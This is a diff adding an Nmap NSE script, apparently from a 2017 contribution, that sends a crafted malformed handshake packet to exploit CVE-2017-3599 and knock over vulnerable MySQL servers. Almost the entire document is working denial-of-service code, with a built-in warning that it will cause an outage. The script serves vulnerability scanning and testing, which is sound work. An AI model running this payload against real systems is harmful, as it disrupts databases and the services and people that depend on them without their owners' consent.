shaheemirza · May 18, 2017 05:54 · May 18, 2017
diff --git a/mysql-vuln-cve2017-3599.nse b/mysql-vuln-cve2017-3599.nse
@@ -0,0 +1,70 @@
+description=[[
+CVE-2017-3599 - remote unauthenticated Denial of Service against Oracle MySQL.  
+Warning: This WILL cause DoS on vulnerable mysql machines.
+Thanks: SECWORKS, hackers.mu team.
+]]
+
+---
+--@usage nmap -sU -p <portnum> --script mysql-vuln-cve2017-3599 --script-args mysql-vuln-cve2017-3599.ports=<ports> <target>
+--@output
+--PORT     STATE SERVICE
+--3306/tcp open  mysql
+--|_mysql-vuln-cve2017-3599: true
+
+author = "Loganaden Velvindron (logan@hackers.mu)"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html";
+categories = {"dos", "vuln", "exploit", "intrusive"}
+
+local string = require "string"
+local shortport = require "shortport"
+local bin = require "bin"
+local comm = require "comm"
+local stdnse = require "stdnse"
+
+portrule = function(host, port)
+  if not stdnse.get_script_args(SCRIPT_NAME .. ".ports") then
+    stdnse.print_debug(3,"Skipping '%s' %s, 'ports' argument is missing.",SCRIPT_NAME, SCRIPT_TYPE)
+    return false
+  end
+
+local ports = stdnse.get_script_args(SCRIPT_NAME .. ".ports")
+
+--print out a debug message if port 3306/tcp is open
+  if port.number==3306 and port.protocol == "tcp" and not(ports) then
+    stdnse.print_debug("Port 3306/tcp is open. mysql over tcp")
+    return false
+  end
+
+  return port.protocol == "tcp" and stdnse.in_port_range(port, ports:gsub(",",",") ) and
+    not(shortport.port_is_excluded(port.number,port.protocol))
+end
+
+
+local packet1 = 
+string.char(0x01)
+..string.char(0x85, 0xa2, 0xbf, 0x01)
+..string.char(0x00, 0x00, 0x00, 0x01)
+..string.char(0x21)
+--..string.char(0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)
+..string.rep(string.char(0x00),23)
+.."test"
+..string.char(0x00)
+..string.char(0xff)
+
+local packet1_len = bin.pack("i", string.len(packet1)-1)
+packet1_len = string.sub(packet1_len,1,3)
+
+local payload = packet1_len..packet1
+
+
+action = function(host, port)
+local status, result = comm.exchange(host, port, payload, {proto="tcp", recv_before=true, timeout=8000})
+
+
+if not status then
+        return false
+else
+        return true 
+end
+
+end